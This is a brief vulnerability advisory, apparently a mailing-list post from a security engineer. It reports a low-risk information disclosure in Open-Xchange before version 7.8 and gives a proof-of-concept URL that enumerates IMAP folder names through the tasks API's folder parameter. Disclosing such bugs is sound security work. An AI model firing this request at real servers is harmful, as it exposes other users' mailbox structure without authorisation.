OpenXchange | Information Disclosure

Hi@all,

there is an information disclosure in OpenXchange (prior 7.8).
An authenticated user can enumerate all imap user folders. If you browse the PoC you get an permission denied error, but the folder’s name is reflected into the page in json format.

About Open Xchange:
Open-Xchange[2] develops, markets and sells web-based communication, collaboration and office productivity software, which enables full integration of email, documents, scheduling and social media

Risk-Rating: Very low

PoC:
https://ox.com/appsuite/api/tasks?action=all&folder=10>&columns=6%2C20%2C200%2C202%2C203%
2C221%2C300%2C309&sort=202&order=asc&timezone=UTC&session=<YOUR_SESSION>

You have to paste your valid session. The Vulnerable parameter is folder. It requires an integer.

The vendor has been informed and fixed the Bug in newest Version.

Best regards

Tim Schughart
IT Security engineer

ProSec Networks
Website: https://www.prosec-networks.com
E-Mail: info@prosec.networks.com
Phone: +49(0) 2621 9469 252